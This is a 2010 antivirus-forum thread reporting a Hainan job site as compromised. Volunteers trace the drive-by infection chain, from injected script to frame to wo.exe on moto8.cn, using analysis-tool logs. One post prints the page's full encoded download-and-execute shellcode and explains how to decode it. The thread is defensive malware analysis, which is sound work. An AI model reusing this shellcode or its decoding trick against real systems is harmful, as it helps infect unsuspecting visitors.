瑞星卡卡安全论坛技术交流区恶意网站交流 http://job.hinews.cn/（海南招聘 求职 找工作 海口人才交流招聘会）

1   1  /  1  页   跳转页

[黑名单] http://job.hinews.cn/（海南招聘 求职 找工作 海口人才交流招聘会）

收藏
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2010-03-03 10:59 | 只看楼主 短消息 资料
字号： 小 中 大 1楼

http://job.hinews.cn/（海南招聘 求职 找工作 海口人才交流招聘会）

Log is generated by FreShow.
[wide]http://job.hinews.cn/html/2009/02/wow/297.html
    [script]http://kissmeimei.host012.idcdo.com/js/wo.js?EHYHRZ
        [frame]http://www.moto8.cn/forumdata/plus/wo.htm?k0227
            [object]http://www.moto8.cn/forumdata/plus/wo.exe
    [script]http://js.users.51.la/3546245.js

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)
分享到：
gototop
 
小傻大呆
头像
飘泊而立狮
  • 帖子:545
  • 注册: 2010-01-11
  • 来自:
论坛9周年纪念
发表于： 2010-03-03 15:47 | 短消息 资料
字号： 小 中 大 2楼

回复：http://job.hinews.cn/（海南招聘 求职 找工作 海口人才交流招聘会）

Log is generated by FreShow.
[wide]http://job.hinews.cn/html/2009/02/wow/297.html
    [script]http://kissmeimei.host012.idcdo.com/js/wo.js?EHYHRZ
        [frame]http://kissmeimei.host012.idcdo.com/js/http:\/\/www.moto8.cn\/forumdata\/plus\/wo.htm?k0227
            [object]http://www.moto8.cn/forumdata/plus/wo.exe
    [script]http://js.users.51.la/3546245.js

跟今天作业比起来省事不少
gototop
 
zzzkkkmmm
头像
初生襁褓狮
  • 帖子:69
  • 注册: 2010-03-04
  • 来自:
发表于： 2010-03-04 11:20 | 短消息 资料
字号： 小 中 大 3楼

回复：http://job.hinews.cn/（海南招聘 求职 找工作 海口人才交流招聘会）

版主我分析到了这
http://www.moto8.cn/forumdata/plus/wo.htm?k0227
得到了代码,可是后来怎么分析,请提示
最后编辑networkedition 最后编辑于 2010-03-04 11:25:23
gototop
 
zzzkkkmmm
头像
初生襁褓狮
  • 帖子:69
  • 注册: 2010-03-04
  • 来自:
发表于： 2010-03-04 12:00 | 短消息 资料
字号： 小 中 大 4楼

回复：http://job.hinews.cn/（海南招聘 求职 找工作 海口人才交流招聘会）

刚才好好学习了一下，好像有一些思路了
gototop
 
DragonKid
头像
自信弱冠狮
  • 帖子:496
  • 注册: 2009-12-31
  • 来自:
论坛9周年纪念
发表于： 2010-03-04 13:27 | 短消息 资料
字号： 小 中 大 5楼

回复：http://job.hinews.cn/（海南招聘 求职 找工作 海口人才交流招聘会）

关于:hxxp://www.moto8.cn/forumdata/plus/wo.htm?k0227解密的日志(全体输出 -  2):

Level  0>http://www.moto8.cn/forumdata/plus/wo.htm?k0227
Level  1>http://www.moto8.cn/forumdata/plus/wo.exe ●

日志由 Redoce2.0第88次修正版于 2010-3-4 13:26:13 生成。


将CUTE替换为%u后shellcode解密即可得到结果
gototop
 
念初
头像
强壮不惑狮
  • 帖子:1021
  • 注册: 2005-07-03
  • 来自:病毒大染缸
论坛9周年纪念10温馨圣诞十周年
发表于： 2010-03-04 13:30 | 短消息 资料
字号： 小 中 大 6楼

回复：http://job.hinews.cn/（海南招聘 求职 找工作 海口人才交流招聘会）

CUTE00E8CUTE0000CUTE6A00CUTEEB03CUTE7E21CUTEE2D8CUTE9873CUTE8AFECUTE8E0ECUTE0E4ECUTE55ECCUTE4C52CUTE4F4DCUTE004ECUTE3600CUTE2F1ACUTE6370CUTE5C3ACUTE2E63CUTE7865CUTE0065CUTE5F59CUTE67AFCUTEA164CUTE0030CUTE408BCUTE8B0CCUTE1C70CUTE8BADCUTE0868CUTE8B51CUTE3C75CUTE748BCUTE782ECUTEF503CUTE8B56CUTE2076CUTEF503CUTEC933CUTE4149CUTE03ADCUTE33C5CUTE0FDBCUTE10BECUTEF238CUTE0874CUTECBC1CUTE030DCUTE40DACUTEF1EBCUTE1F3BCUTEE775CUTE8B5ECUTE245ECUTEDD03CUTE8B66CUTE4B0CCUTE5E8BCUTE031CCUTE8BDDCUTE8B04CUTEC503CUTE59ABCUTEBCE2CUTE0F8BCUTEF980CUTE7463CUTE570ACUTED0FFCUTEAF95CUTE6AAFCUTEEB01CUTE52ACCUTE5752CUTE8F8DCUTE10DBCUTE0040CUTEE981CUTE104ECUTE0040CUTE5251CUTED0FFCUTE016ACUTEFF57CUTEEC57CUTE57FFCUTE90E8CUTE7468CUTE7074CUTE2f3aCUTE772fCUTE7777CUTE6d2eCUTE746fCUTE386fCUTE632eCUTE2f6eCUTE6f66CUTE7572CUTE646dCUTE7461CUTE2f61CUTE6c70CUTE7375CUTE772fCUTE2e6fCUTE7865CUTE0065

这些把CUTE替换成%u
然后两次esc解密即可
感染不是你的错
不能修复就是你的不对了
遇到问题请附截图和sreng日志
gototop
 
念初
头像
强壮不惑狮
  • 帖子:1021
  • 注册: 2005-07-03
  • 来自:病毒大染缸
论坛9周年纪念10温馨圣诞十周年
发表于： 2010-03-04 13:31 | 短消息 资料
字号： 小 中 大 7楼

回复 3F zzzkkkmmm 的帖子

3F我在6F回复你的
感染不是你的错
不能修复就是你的不对了
遇到问题请附截图和sreng日志
gototop
 
zzzkkkmmm
头像
初生襁褓狮
  • 帖子:69
  • 注册: 2010-03-04
  • 来自:
发表于： 2010-03-08 13:00 | 短消息 资料
字号： 小 中 大 8楼

回复 7F 念初 的帖子

哦，谢谢。看了教程后有点明白了
gototop
 
zzzkkkmmm
头像
初生襁褓狮
  • 帖子:69
  • 注册: 2010-03-04
  • 来自:
发表于： 2010-03-08 13:04 | 短消息 资料
字号： 小 中 大 9楼

回复：http://job.hinews.cn/（海南招聘 求职 找工作 海口人才交流招聘会）

这个网马调试的时候总是有异常。
gototop
 
<<上一主题|下一主题>>
1   1  /  1  页   跳转页
页面顶部
Powered by Discuz!NT